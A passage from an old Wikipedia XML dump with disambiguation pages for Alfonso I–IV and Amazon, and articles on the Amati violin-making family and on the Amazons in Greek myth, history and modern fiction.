*[[Afonso de Albuquerque]]

==Kings of [[Kings of Castile|Castile, Leon or Asturias]]==
*[[Alfonso I of Asturias]] --  (739-757)
*[[Alfonso II of Asturias]]  -- (789-842)
*[[Alfonso III of Leon]] -- (866-910) the Great
*[[Alfonso IV of Leon]] -- (924-931) 
*[[Alfonso V of Castile]] -- (999-1028) 
*[[Alfonso VI of Castile]] -- (1065-1109) 
*[[Alfonso VII of Castile]] -- (1126-1157) the Emperor
*[[Alfonso VIII of Castile]] -- (1158-1214)
*[[Alfonso IX of Castile]] -- (1188-1230)
*[[Alfonso X of Castile]] -- (1252-1284) The Wise
*[[Alfonso XI of Castile]] -- (1312-1350) The Avenger

==[[Kings of Aragon]]==
*[[Alfonso I of Aragon]] -- (1104-1134) the Battler 
*[[Alfonso II of Aragon]] -- (1162-1196) the Chaste
*[[Alfonso III of Aragon]] -- (1285-1291) The Liberal
*[[Alfonso IV of Aragon]] -- (1327-1336) The Kind
*[[Alfonso V of Aragon ]] -- (1416-1458) The Magnanimous

==[[Kings of Spain]]==
*[[Alfonso XII of Spain]] -- (1857-1885) king of Spain
*[[Alfonso XIII of Spain]] -- (1886-1931) king of Spain

See also: [[lists of incumbents]]

==[[Manikongo (Kings of the Congo)]]==

[[Affonso I of Kongo]] 1505&amp;#8211;43)

==Variety of mango==

'''Alphonso''' is also a variety of [[mango]] found in [[India]], see [[alphonso (mango)]].

==Places==

*[[Alphonse]] Island belongs to the [[Outer Islands]] of [[Seychelles]]
*[[Alfonso, Cavite]] is a municipality in the [[Philippines]]

{{disambig}}

[[de:Alfons]]
[[eo:Alfonzo]]
[[hu:Alfonz]]
[[pl:Alfons]]
[[pt:Afonso]]
[[sk:Alfonz]]
[[sv:Alfons]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso I</title>
    <id>1689</id>
    <revision>
      <id>29362807</id>
      <timestamp>2005-11-27T08:24:01Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">*[[Afonso I of Portugal]] -- ([[1094]]-[[1195]]) (Afonso Henriques)
*[[Alfonso I of Asturias]] --  ([[739]]-[[757]])
*[[Alfonso I (of Castile)]] -- ([[1040]]-[[1109]]) the first King of Castile to be called Alfonso, but better known as [[Alfonso VI of Castile]] as he was the sixth Alfonso in the line that started with Alfonso I of Asturius, and included another monarch of [[Asturias]] called Alfonso and three [[Kings of Leon]] called Alfonso.
*[[Alfonso I of Aragon]] -- ([[1104]]-[[1134]]) 
*[[Alphonso I of Ferrara]], duke of Ferrara (15th century)
*[[Alfonso I of Naples]], also known as [[Alfonso V of Aragon]]
{{disambig}}

[[ca:Alfons I]]
[[de:Liste der Herrscher namens Alfons]]
[[es:Alfonso I]]
[[fr:Alphonse Ier]]
[[ja:アルフォンソ1世]]
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[[pl:Alfons I]]
[[pt:Afonso I]]
[[zh:阿方索一世]]</text>
    </revision>
  </page>
  <page>
    <title>Amati</title>
    <id>1690</id>
    <revision>
      <id>34669550</id>
      <timestamp>2006-01-10T22:23:55Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no</comment>
      <text xml:space="preserve">:''For the [[Mazda]] [[luxury car]] [[marque]], Amati, see the main [[Mazda]] article''

'''Amati''' is the name of a family of [[Italy|Italian]] [[violin]]-makers, who flourished at [[Cremona]] from about [[1550]] to [[1740]]. 

'''Andrea Amati''' (before  1511 &amp;ndash; before 1580) was the first maker of violins whose instruments still survive today. Indeed he seems more or less responsible for giving the instruments of the modern violin family their definitive profile. A small number of his instruments survive, dated between the years of 1564 and 1574 and most bearing the coat of arms of [[Charles IX of France]]. 

Andrea Amati was succeeded by his sons '''Antonio Amati''' (born c. 1540) and '''Girolamo Amati''' ([[1561]] &amp;ndash; [[1630]]). The &quot;brothers Amati&quot;, as they were known, implemented far-reaching innovations in design, including the perfection of the shape of the soundhole. They are also thought to have pioneered the modern alto format of [[viola]] (rather than the older tenor violas).

'''Nicolo Amati''' ([[December 3]], [[1596]] &amp;ndash; [[April 12]], [[1684]]) was the son of Girolamo Amati. He was the most eminent of the family. He improved the model adopted by the rest of the Amatis and produced instruments capable of yielding greater power of [[tone]]. His pattern was usually small, but he also made a wider model now known as the &quot;Grand Amati&quot;, which have become his most sought-after violins. 

Of his pupils the most famous were [[Antonio Stradivari]], Andrea [[Guarneri]] (the first of the Guarneri family of violin makers), and [[Bartolomeo Cristofori]] (the inventor of the [[piano|pianoforte]]). 

The last maker of the family was Nicolo's son, Girolamo Amati, known as '''Hieronymus II''' ([[February 26]], [[1649]] &amp;ndash; [[February 21]], [[1740]]). Although he improved on the arching of his father's instruments, by and large they are inferior and no match for the greatest maker of his day, Antonio Stradivari.

==See also==
*[[Amati Quartet]]
*[[Luthier]] - provides links to articles about other famous makers of stringed instruments

==External links==
*[http://www.theviolinsite.com/violin_making/index.html Violin Making]

==References==
*{{1911}}
[[Category:Italian musical instrument makers|Amati]]
[[Category:Luthiers|Amati]]

[[de:Amati]]
[[fr:Amati]]
[[hu:Amati]]
[[nl:Amati]]
[[no:Amati-familien]]
[[pl:Amati]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso II</title>
    <id>1691</id>
    <revision>
      <id>27035597</id>
      <timestamp>2005-11-01T03:22:41Z</timestamp>
      <contributor>
        <username>Joaopais</username>
        <id>94195</id>
      </contributor>
      <text xml:space="preserve">*[[Alfonso II of Asturias]] -- ([[789]]-[[842]])
*[[Alfonso II of Aragon]] -- ([[1152]]-[[1196]]) 
*[[Afonso II of Portugal]] -- ([[1185]]-[[1223]]) &quot;the Fat&quot; 
*[[Alphonso II of Naples]]

{{disambig}}

[[ca:Alfons II]]
[[de:Liste der Herrscher namens Alfons]]
[[es:Alfonso II]]
[[fr:Alphonse II]]
[[pt:Afonso II]]
[[zh:阿方索二世]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso III</title>
    <id>1692</id>
    <revision>
      <id>27035985</id>
      <timestamp>2005-11-01T03:28:29Z</timestamp>
      <contributor>
        <username>Joaopais</username>
        <id>94195</id>
      </contributor>
      <text xml:space="preserve">There have been several monarchs called '''Alfonso III''':

*[[Alfonso III of Leon]] -- (866-914) surnamed &quot;the Great&quot;
*[[Afonso III of Portugal]] -- (1210-1279)
*[[Alfonso III of Aragon]] -- (1285-1291)
*[[Alfonso III of Kongo]] -- (1666-1667)

{{disambig}}

[[ca:Alfons III]]
[[de:Liste der Herrscher namens Alfons]]
[[es:Alfonso III]]
[[fr:Alphonse III]]
[[pt:Afonso III]]</text>
    </revision>
  </page>
  <page>
    <title>Amazon</title>
    <id>1693</id>
    <revision>
      <id>40867459</id>
      <timestamp>2006-02-23T15:12:37Z</timestamp>
      <contributor>
        <username>Dabbler</username>
        <id>139032</id>
      </contributor>
      <comment>/* Other */ fix link</comment>
      <text xml:space="preserve">The name '''''Amazon''''' may refer to several concepts:

==Geography==
*The [[Amazon River]], [[Amazon Rainforest]], and [[Amazon Basin]] through which it flows.
*[[Amazonas]], the name of several administrative divisions in [[South America]] named after the river, including:
**[[Amazonas Department, Colombia|Amazonas Department]], Colombia 
**[[Amazonas Region]], Peru
**[[Amazonas State, Brazil]]
**[[Amazonas State, Venezuela]]
*[[Amazônia Legal]], a government-designated economic and environmental development region covering 61% of Brazil

==Other==
*The legendary [[Amazons]], women renowned in antiquity for their prowess in battle.
*[[Amazon.com]], the large online store that began as an online book store but which has expanded as a seller of many goods.
*[[Volvo Amazon]], a car model from Volvo. Perhaps as P120 in the US.
*[[HMS Amazon|HMS ''Amazon'']], name of many ships of the Royal Navy
*[[Amazon parrot]]s are a group of parrots native to the New World, which are usually predominantly green.
*''[[Swallows and Amazons (series)|Swallows and Amazons]]'' is a series of children's books by English author Arthur Ransome.
*[[The Game of the Amazons]], an abstract board game.
*''[[Amazons (1986 film)]]''
*[[Dahomey Amazons]], an all-female regiment of the African kingdom of Dahomey.
*[[Amazon (band)]], formed in 2002.
*Amazon or Amazonia, was the nom de guerre of a [[female gladiator]].
*[[Amazon Guardians of Eden]] an adventure game developed by Access Software.
*''[[Amazon Women on the Moon]]'', a 1987 comedic film.
*[[Amazon (comics)]] is a female fictional character in the Marvel Universe.
{{disambig}}

[[de:Amazonas (Begriffsklärung)]]
[[es:Amazona]]
[[fr:Amazone]]
[[id:Amazon]]
[[ja:アマゾン]]
[[mk:Амазон]]
[[nl:Amazone]]
[[pl:Amazonka]]
[[pt:Amazonas (desambiguação)]]
[[ro:Amazon]]
[[sv:Amazon]]
[[zh:亚马孙]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso IV</title>
    <id>1694</id>
    <revision>
      <id>33093349</id>
      <timestamp>2005-12-29T06:35:44Z</timestamp>
      <contributor>
        <ip>83.226.101.102</ip>
      </contributor>
      <comment>link to zh</comment>
      <text xml:space="preserve">*[[Alfonso IV of Leon]] -- (924-931) 
*[[Afonso IV of Portugal]] -- (1291-1357)
*[[Alfonso IV of Aragon]] -- (1327-1336)

{{disambig}}

[[pt:Afonso IV]]
[[zh:阿方索四世]]</text>
    </revision>
  </page>
  <page>
    <title>Amazons</title>
    <id>1695</id>
    <revision>
      <id>41820621</id>
      <timestamp>2006-03-01T23:29:15Z</timestamp>
      <contributor>
        <username>Martial Law</username>
        <id>514543</id>
      </contributor>
      <comment>/* Modern depiction of Amazons */</comment>
      <text xml:space="preserve">{{dablink|This article is about the Amazon women of Greek mythology and similar cases. For other uses, see [[Amazons (disambiguation)]].}}

In [[Greek mythology]], the '''{{polytonic|Ἀμαζόνες}}, Amazons''' were either an ancient legendary nation of female warriors or a land dominated by women at the outer edges of their known world. The legends appear to have a nugget of factual basis in warrior women among the [[Scythia]]ns, but classical Greeks never ceased to be astounded at such role-reversals. Women in classical Greek society were expected to be passive and dependent on males.  In early modern usage, the word was often used to refer to strong and independent women, in contrast to conventional stereotypes of women as weak and passive (see &quot;[[damsel in distress]]&quot;), but now &quot;amazon&quot; in such contexts has self-ironic overtones. 

[[Image:1729.jpg|thumb|300px|The unidentified London cartographer, ''ca'' 1770, has placed ''Amazones'' in the north of ''[[Sarmatians|Sarmatia Asiatica]]'', based on Greek literary sources.]]

==Etymology==
The name {{polytonic|Ἀμαζών}} is probably derived from an [[Iranian peoples|Iranian]] [[ethnonym]], ''*ha-mazan-'', originally meaning &quot;warriors&quot;. A connected word is probably the [[Hesychius of Alexandria|Hesychius]] gloss {{polytonic|&amp;#7937;μαζακ&amp;#8049;ραν· πολεμε&amp;#8150;ν}} (&quot;to make war&quot;, containing the [[Indo-Iranian]] root ''kar-'' &quot;make&quot; also in  ''[[karma|kar-ma]]'').

The Greek variant of the name was connected by [[popular etymology]] to [[privative a]] + ''mazos'', &quot;without [[breast]]&quot;, connected with an [[aetiological]] tradition that Amazons had their right breast cut off or burnt out, in order that they might be able to use the bow more freely (contemporary Greeks drew the bowstring to the [[sternum]]); there is no indication of this practice in works of art, in which the Amazons are always represented with both breasts, although the right is frequently covered. Other suggested derivations were: ''a-'' (intensive) + ''mazos'', breast, &quot;full-breasted&quot;; ''a'' (privative) and ''masso'', touch, &quot;not touching&quot; (men); ''maza'', a [[Circassian]] word said to signify &quot;moon&quot;, has suggested their connection with the worship of a moon-goddess, perhaps the Asiatic representative of [[Artemis]].

==Amazons of Greek mythology==
[[Image:AmazonBattle.JPG|thumbnail|right|''Amazon Preparing for Battle'' or ''Armed Venus'', by [[Pierre-Eugène-Emile Hébert]].]]
Amazons were said to have lived in [[Pontus]],which is part of modern day Turkey near the shore of the [[Euxine Sea]], where they formed an independent kingdom under the government of a queen, often named [[Hippolyta]] (&quot;she lets her horses loose&quot;). They were supposed to have founded many towns, amongst them [[Izmir|Smyrna]], [[Ephesus]], [[Sinope]], [[Paphos]]. According to another account, they originally came to the [[Thermodon]] from the ''Palus Maeotis'' (&quot;Lake Maeotis&quot;, the [[Sea of Azov]]).  

In some versions, no men were permitted to reside in Amazon country; but once a year, in order to prevent their race from dying out, they visited the [[Gargareans]], a neighbouring tribe. The male children who were the result of these visits were either put to death or sent back to their fathers; the females were kept and brought up by their mothers, and trained in agricultural pursuits, hunting, and the art of war ([[Strabo]] xi. p. 503).

In the ''[[Iliad]]'', the Amazons were referred to as [[Antianeira]] (&quot;those who fight like men&quot;).  [[Herodotus]] called them [[Androktones]] (&quot;killers of men&quot;).

The Amazons appear in connection with several Greek legends. They invaded [[Lycia]], but were defeated by [[Bellerophon]], who  was sent out against them by [[Iobates]], the king of that country, in the hope that he might meet his death at their hands (''Iliad'', vi. 186). According to [[Diodorus Siculus|Diodorus]], Queen [[Myrine]] led them to victory against the [[Atlantis|Atlanteans]], [[Libya]] and much of [[Gorgon]].

They attacked the [[Phrygia]]ns, who were assisted by [[Priam]], then a young man (''Iliad'', iii. 189).  Although in his later years, towards the end of the [[Trojan War]], his old opponents took his side again against the Greeks under their queen [[Penthesilea]], who was slain by [[Achilles]] (Quint.  Smyr. i.; Justin ii. 4; Virgil, Aen. i. 490).  

One of the tasks imposed upon [[Heracles]] by [[Eurystheus]] was to obtain possession of the girdle of the Amazonian queen [[Hippolyte]] (''[[Apollodorus]]'' ii. 5). He was accompanied by his friend [[Theseus]], who carried off the princess [[Antiope (mythology)|Antiope]], sister of Hippolyte, an incident which led to a retaliatory invasion of [[Attica, Greece|Attica]], in which Antiope perished fighting by the side of Theseus.  In some versions, however, Theseus marries Hippolyta and in others, he marries Antiope and she does not die.  The battle between the Athenians and Amazonians is often commemorated in an entire genre of art, [[amazonomachy]], marble carvings such as from the [[Parthenon]].

The Amazons are also said to have undertaken an 
expedition against the island of [[Leuke]], at the mouth of the [[Danube]], where the ashes of Achilles had been deposited by [[Thetis]].  The ghost of the dead hero appeared and so terrified the horses, that they threw and trampled upon the invaders, who were forced to retire. [[Pompey]] is said to have found them in the army of [[Mithradates]].

They are heard of in the time of [[Alexander the Great]], when some of the great king's biographers make mention of Amazon Queen [[Thalestris]] visiting him and becoming a mother by him. However, several other biographers of Alexander totally dispute the claim, including the highly regarded secondary source, [[Plutarch]]. In his writing he makes mention of when Alexander's secondary naval commander, [[Onesicritus]], was reading the Amazon passage of his Alexander history to King [[Lysimachus]] of [[Thrace]] who was on the original expedition, the king smiled at him and said &quot;And where was I, then?&quot;

The Roman writer [[Virgil]]'s character of the [[Volsci|Volscian]] warrior maiden ''Camilla'' in the ''[[Aeneid]]'' borrows heavily from the myth of the Amazonian.

==Scythian origins==

In a recent excavation of [[Sarmatian]] sites by Dr. Jeannine Davis-Kimball, a tomb was found wherein female warriors were buried, thus lending some credence to the myths about the Amazons. Following the excavation in [[2003]] by Dr. Davis-Kimball, she and Dr. Joachim Burger compared the genetic evidence from the site with the nomadic [[Kazakh]]s, and have found a striking genetic link – verified later by the [[University of Cambridge]]  [http://www.thirteen.org/pressroom/release.php?get=1272]

Before modern archaeology uncovered some of the Scythian burials of warrior-maidens entombed under [[kurgan]]s in the [[Altai]] region of Siberia, giving concrete form at last to the Greek tales of mounted Amazons, the origin of the story of the Amazons has been the subject of speculation among classics scholars.  In the 1911 ''Encyclopædia Britannica'' speculation ranged along the following lines.

While some regard the Amazons as a purely mythical people, others assume an historical foundation for them. The deities worshipped by them were [[Ares]] (who is consistently assigned to them as a god of war, and as a god of [[Thrace|Thracian]] and generally northern origin) and [[Artemis]], not the usual Greek goddess of that name, but an Asiatic deity in some respects her equivalent.  It is conjectured that the Amazons were originally the temple-servants and priestesses (''hierodulae'') of this goddess; and that the removal of the breast corresponded with the self-mutilation of the god [[Attis]] and the [[galli]], Roman priests of [[Cybele]]. Another theory is that, as the knowledge of geography extended, travellers brought back reports of tribes ruled entirely by women, who carried out the duties which elsewhere were regarded as peculiar to man, in whom alone the rights of nobility and inheritance were vested, and who had the supreme control of affairs.  Hence arose the belief in the Amazons as a nation of female warriors, organized and governed entirely by women. According to J. Vurtheim (''De Ajacis origine'', [[1907]]), the Amazons were of Greek origin: &quot;all the Amazons were Dianas, as [[Diana (goddess)|Diana]] herself was an Amazon&quot;. It has been suggested that the fact of the conquest of the Amazons being assigned to the two famous heroes of Greek mythology, Heracles and Theseus &amp;ndash; who in the tasks assigned to them were generally opposed to monsters and beings impossible in themselves, but possible as illustrations of permanent danger and damage &amp;ndash; shows that they were mythical illustrations of the dangers which beset the Greeks on the coasts of Asia Minor; rather perhaps, it may be intended to represent the conflict between the Greek culture of the colonies on the [[Black Sea]] and the barbarism of the native inhabitants. 

[[Herodotus]] reported that the [[Sarmatians]]/[[Sauromatians]] were descendants of Amazons and Scythians. Their [[Scythian]]/[[Saka]]/[[Cimmerian]]/[[Gomer]]ian origins are further proved by their origins from [[Thermodon]]'s Scythians who invaded there coming from around the [[Sea of Azov]] and their use of the bow and arrow as their primary weapon as well as fighting on horseback.

Medieval and Renaissance authors credit the Amazons with the invention of the [[battle-axe]]. This is probably related to the [[Sagaris]], an axe-like weapon associated with both Amazons and Scythian tribes by Greek authors (see also [[Aleksandrovo kurgan]]). [[Paulus Hector Mair]] expresses astonishment that such a &quot;manly weapon&quot; should have been invented by a &quot;tribe of women&quot;, but he accepts the attribution out of respect for his authority, [[Johannes Aventinus]].

==Amazons in Greek art==

In works of art, battles between Amazons and Greeks are placed on the same level as and often associated with battles of Greeks and [[centaurs]].  The belief in their existence, however, having been once accepted and introduced into the national poetry and art, it became necessary to surround them as far as possible with the appearance of not unnatural beings.  Their occupation was hunting and war; their arms the bow, spear, axe, a half shield, nearly in the shape of a crescent, called ''pelta'', and in early art a helmet, the model before the Greek mind having apparently been the goddess Athena.  In later art they approach the model of Artemis, wearing a thin dress, girt high for speed; while on the later painted vases their dress is often peculiarly [[Iran|Persia]]n &amp;ndash; that is, close-fitting trousers and a high cap called the kidaris.  They were usually on horseback but sometimes on foot. They can also be identified in vase paintings by the fact that they are wearing one earring. The battle between Theseus and the Amazons is a favourite subject on the friezes of temples (e.g. the reliefs from the frieze of the temple of [[Apollo]] at [[Bassae]], now in the [[British Museum]]), vases and sarcophagus reliefs; at [[Athens]] it was represented on the shield of the statue of [[Athena Parthenos]], on wall-paintings in the [[Theseum]] and in the [[stoa | ''Stoa Poikile'']]. Many of the sculptors of antiquity, including [[Pheidias]], [[Polyclitus]], [[Cresilas]] and [[Phradmon]], executed statues of Amazons; and there are many existing reproductions of these. 

===Legendary Amazons from Greek myth===

*[[Ainia]]
*[[Antianara]]
*[[Antibrote]]
*[[Antiope (mythology)|Antiope]]
*[[Asteria]]
*[[Cleite]]
*[[Helene (mythology)|Helene]]
*[[Hippolyte]]
*[[Melanippe]]
*[[Otrera]]
*[[Penthesilea]]
*[[Thalestris]]
*[[Thebe (mythology)|Thebe]]

==Amazon-like figures in history and folklore==
[[Image:Blenda.jpg|right|300px|thumb|'''[[Blenda]]''' leads the women in the defense of their villages, by Hugo Hamilton (1830)]]
[[Image:Peter-nicolai-arbo-hervor.jpg|thumb|300px|The [[shieldmaiden]] [[Hervor]] dying after a battle with the [[Huns]] in ''[[Hervarar saga]]'']]
[[Image:Dahomey amazon6.jpg|right|thumb|170px|Dahomey Amazons holding muskets. The horns are indicators of rank]]
Armed women have often acted as royal [[bodyguard]]s throughout history. [[Chandragupta Maurya]] ([[322 BC|322]]&amp;ndash;[[298 BC]]), the first [[emperor]] to develop a centralized  state in [[India]], had a personal guard composed of giant Greek women. Female royal guards re-appear 2000 years later in the [[History of India|history of India]] as guards for the [[Nizam]]s of [[Deccan]] and [[Hyderabad State|Hyderabad]]. And on the island of [[Sri Lanka]], the [[Kandy]] royal family had a royal guard of female [[archer]]s. In [[Europe]], [[Celt]]ic and [[Germanic tribes]] often had women fighting with their husbands. [[Tacitus]] tells us that [[Boadicea]] had more women than men in her army.

There is also a woman in the Old Testament, Deborah, who may be one of the first recorded instances of a woman participating in battle. She was a prophetess, a warrior, a leader, and a Judge of Israel, all in one. She correctly predicted that the enemy general, Sisera, who faced Israel at this time would be slain by a woman (the woman who killed him and also received credit for the army's victory was named Jael.) This story is chronicled in Judges.

In [[Scandinavia]], women who did not yet have the responsibility for raising a family could take up arms and live like warriors. They were called [[shieldmaiden]]s and many of them figure in [[Norse mythology]]. One of the most famous shieldmaidens was [[Hervor]] and she figures in the cycle of the magic sword [[Tyrfing]]. The Danish chronicler [[Saxo Grammaticus]] relates that when the Swedish king [[Sigurd Ring]] and the Danish king [[Harald Wartooth]] met at the [[Battle of Bråvalla]], 300 shieldmaidens fought on the Danish side led by Visna. Saxo relates that the shieldmaidens fought with small shields and long swords.  

Similarly, the '''[[Valkyries]]''' of [[Norse mythology]] are minor female deities, who serve [[Odin]]. The name means ''choosers of the slain''.   The valkyries' purpose was to choose the most heroic of those who had died in battle and to carry them off to [[Valhalla]] where they became [[einherjar]]. This was necessary because Odin needed warriors to fight at his side at the preordained battle at the end of the world, [[Ragnarok|Ragnarök]]. 

A legend which may be based on the Greek Amazons appears in the history of [[Bohemia]]. As the story goes, a large band of women, lead by a certain [[Vlasta]], carried on war against the duke of Bohemia, and enslaved or put to death all men who fell into their hands; eventually, they were mercilessly defeated by the duke. In the [[16th century]] the [[Spain|Spanish]] explorer [[Francisco de Orellana|Orellana]] asserted that he had come into conflict with fighting women in [[South America]] on the [[Marañón River]], which was named after them the [[Amazon River|Amazon]] or river of the Amazons, although others derive its name from the Indian amassona (boat-destroyer), applied to the tidal phenomenon known as the &quot;bore&quot;.

The armored warrior maiden (whose gender is often unsuspected) is a frequent character in the European chivalric epic.  The most famous of these female knights is ''Bradamante'' -- daughter of Aymon, sister to the knight [[Renaud de Montauban]] (''Rinaldo'', ''Ranaldo'') and legendary ancestor to the house of [[Este]] -- who is destined to marry the knight ''Ruggiero'' (or ''Rugiero'').  Her adventures are a major element in the Italian [[Renaissance]] epics ''[[Orlando Innamorato]]'' by [[Matteo Maria Boiardo]] and its continuation ''[[Orlando furioso]]'' by [[Ariosto]].  A similar character is the pagan warrior knight ''Clorinda'' who battles against the Christian crusaders in [[Torquato Tasso]]'s epic ''[[Jerusalem Delivered]]''.  The vogue of such female knights in literature would continue though the seventeenth century and inspired not only dramatic recreations but also actual military feats (such as the [[Anne, Duchess of Montpensier|duchess of Montpensier]]'s participation in the [[Fronde]]).

The [[Dahomey Amazons]] were a 6000 strong military unit of [[Dahomey]] (now [[Benin]]) in [[West Africa]] who were active from the [[16th century|16th]] to the late [[19th century]]. They were largely successful in their battles with neighboring kingdoms, and were finally defeated by the [[France|French]]. [[Libya]] has a long history of Amazon women, which probably pre-dates the Greek Amazons. Even today, [[Gadaffi]] is guarded by female soldiers. Other [[Africa]]n ethnic groups who used fighting women were the [[Igbo (people)|Igbo]] and [[Fulani]], who integrated the women into their armies. 

In the kingdom of [[Siam]] in the 19th century, the king had a personal battalion of 400 spear-wielding women. They were chosen from the most beautiful women of the country, and were said to be excellent spear-throwers, though they were regarded as too valuable to be sent to war. Almost all countries have female combatants in their history one time or the other; it is simply the matter of more or less.

Around 400 women secretly took part as soldiers in the [[American Civil War]]. For notable cases of women became soldiers, reference may be made to [[Mary Anne Talbot]] and [[Hannah Snell]].

In the 20th century, the states of the [[Soviet Union]] and [[Israel]] took the initiative to train and utilize women for light infantry and other combatant roles.  Although these moves were initially motivated by the shortage of manpower, for example on USSR's western front in WWII, they led the way for the use of female combatants by the U.S. and other western nations.

==Modern depiction of Amazons==

It has been noted that until the 20th century, Amazons were typically depicted in [[literature]] as an alien adversary that threatened the masculinity of heroes.  As such, the typical goal of the heroes has been to defeat and humiliate them as a way of reasserting male superiority.

In the 20th century, Amazons were depicted with increasing sympathy.  Today, the typical depiction of the characters is as an isolated community of powerful and beautiful warriors whom the male heroes are challenged to earn their respect to become valuable allies.  The most famous modern example of an Amazon is the [[superhero]], [[Wonder Woman]].  Amazons were also frequently featured on the ''[[Xena: Warrior Princess]]'' and ''[[Hercules: The Legendary Journeys]]'' television series.  [[Robert E. Howard]]'s minor character [[Red Sonja]], who was fleshed out more in the ''[[Conan the Barbarian]]'' comic books, and subsequently, in her own movie, also owes much to this modern sympathetic treatment of Amazons. An episode of [[Futurama]] had a planet of [[giant (mythology)|giant]] Amazon-like women where the cast gets stranded.  [[Esther Freisner]] has published a series of [[anthology|anthologies]] on the theme of ''Chicks in [[Chainmail]]'', containing humorous takes on Amazon characters by a number of science fiction and fantasy writers.   

The [[comic book]] series ''[[Y: The Last Man]]'', in which every male on Earth is wiped out in a mysterious plague, includes a hyper-feminist [[cult]] called the Daughters of the Amazon, who believe that [[Mother Earth]] cleansed itself of the &quot;aberration&quot; of the Y chromosome.

A [[Buck Rogers in the 25th Century (TV series)|Buck Rogers]] episode, ''Planet of the Amazon Women'' features a society composed solely of women, because all men were either killed in war or held as prisoners of war by their enemy.

A [[Star Trek]]: The Next Generation episode features similar women in &quot;Angel One&quot;. These women are large and strong and dominate the smaller, weaker, more servile men. 

[[Zeus, Master of Olympus]], a computer game, features these women under the command of Artemis who is, depending on the scenario/campaign played, are either the player's allies or deadly enemies, since Artemis can either &quot;bless&quot; the game player's leader or &quot;curse&quot; the game player's leader, depending on the scenario/campaign played. Some scenarios also feature ''independent'' amazons, such as the Military 2 scenario and The Labors of Hercules scenario.

A [[Sliders]] Episode depicts women in control of a Earth, due to a germ warfare virus killing most of the men, and causing the survivors to be sterile, and left the women unaffected by it. When the male Sliders were found, they were mistaken for men that
somehow escaped the plague, not knowing that they're aliens from another dimension, which they were.

A [[Stargate SG-1]] episode, Birthright, has the military unit from Earth asking woman warriors on another planet for aid against spaceborne and dimensional enemies.

A [[Thundarr the Barbarian]] episode, ''Attack of the Amazon Women'', depicts warlike women located in 
what was left of Mt. Rushmore. He and his companions defeated a female meglomaniac who had found a
&quot;ancient&quot; nuclear warhead, and intended to use it in her attempt at conquest.

Another computer game, [[Diablo II]], depicts these women in it as a combat class.

In the [[Wheel of Time]] books by [[Robert Jordan]], the [[Aiel]] people have amazon warriors, called ''[[Far Dareis Mai]]'', &quot;Maidens of the Spear&quot;.

In The Television series [[Futurama]] the characters crash-land on a planet called &quot;Amazonia&quot; inhabited by a race of giant women (Amazonians). Episode 5 of Season 3, [http://en.wikipedia.org/wiki/Futurama_%28TV_series_-_season_3%29#Amazon_Women_in_the_Moodhttp://en.wikipedia.org/wiki/Futurama_%28TV_series_-_season_3%29#Amazon_Women_in_the_Mood  Amazon Women in the Mood]

A [[Outer Limits]] episode, called [[Lithia]] depicts women who have survived all out war, incl. a nuclear attack and a germ warfare attack which killed all men. In this, a man, who was a [[Major]] in the US Military, was cryogenically frozen as part of a experiment before the war broke out, was revived by some women. He found that humanity survived the war, but were all women. Reproduction was carried out by using frozen sperm, but the virus kills male babies.
Due to a social taboo, he was placed BACK into cryogenic stasis. This episode was shown on the [[Sci-Fi]] channel on 3-1-06 @ 3pm EST/EDT, was made in 1998.

==See also==
{{wikiquote}}
*[[Timeline of women's participation in warfare]]
*[[Valkyrie]]
*[[Themis]]
*[[Artemis]]
*[[Diablo II#Amazon|Amazon Class: Diablo II]]
*[[Virago]]
*[[Joan of Ark]]
*[[Amazon Women on the Moon]]

==External links==

*[http://www.pbs.org/wnet/secrets/case_amazon/index.html Secrets of the Dead: Amazon Warrior Women (PBS)] - includes information on genetic and archaeological study of recent finds of skeletons in tombs
*[http://www.moonspeaker.ca/amazonsframe.html Amazon Nation]  The Amazons existed. But, their history has been long lost, or else so corrupted by later peoples who would rather we forgot them they are barely recognizable. This is a version of a book in progress, so you may notice differences if you were to compare it to a printed version.
*[http://www.perseus.tufts.edu/cgi-bin/ptext?lookup=Hdt.+4.110.1 Herodotus on the Amazons]
*[http://www.gutenberg.org/catalog/world/readfile?pageno=180&amp;fk_files=1131 Herodotus via Gutenberg]
*[http://www.stevequayle.com/Giants/W.Europe/W.Europe4.html] The Amazons existed. They were originally warrior women of Scythians. Greeks later added them to their mythology even sometimes deitifying some of them.
*[http://folk.uio.no/thomas/lists/amazon-connection.html The Amazon Connection] - A guide to online resources about Amazons, aiming to cover the entire spectrum of meaning that has been attributed to the term Amazon.
*[http://folk.uio.no/thomas/lists/amazons.html Amazons International] - A newsletter dedicated to the image of the Amazon or female hero in fiction and in fact, in art and literature, in the physiques and feats of female athletes, and in gender-related and sexual orientations.
*[http://www.theowljournal.com/article.php?issue=06&amp;story=04&amp;comments=1 Man-Handlers: Feminism in Ancient Greece] by Declan Jenkins, New College, Oxford, in [http://www.theowljournal.com ''The Owl Journal'']
*[http://www.perseus.org/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0004%3Aid%3Damazon Perseus]
*[http://www.sacred-texts.com/wmn/rca/rca02.htm THE AMAZONS IN GREEK LEGEND]
*[http://www.straightdope.com/mailbag/mamazon.html Straight Dope]
*[http://www.lisasmedman.topcities.com/page22.html Amazons of Mythology] Information on the European and North African Amazons of Greek mythology, comments on archaeological findings, plus an article on sites of interest in Turkey for modern travelers.

==References==
*[[A. D. Mordtmann]], ''Die Amazonen'' (1862)
*[[W. Stricker]], ''Die Amazonen in Sage und Geschichte'' (1868)
*[[A. Klugmann]], ''Die Amazonen in der attischen Literatur und Kunst'' (1875)
*[[H. L. Krause]], ''Die Amazonensage'' (1893)
*[[F. G. Bergmann]], ''Les Amazones dans l'histoire et dans la fable'' (1853)
*[[P. Lacour]], ''Les Amazones'' (1901)
*articles in [[Pauly-Wissowa]]'s ''Realencyclopadie,'' and [[W. H. Roscher]]'s ''Lexikon der Mythologie'' 
*[[George Grote]], ''History of Greece,'' pt. i. ch. 11.
*[[J. A. Salmonson]], ''The Encyclopedia of Amazons'' (1991), ISBN 0385423667

==Sources==
About twenty-five hundred years ago, [[Herodotus]] in ''Histories'' in book four records:

110. About the Sauromatai the following tale is told:--When the
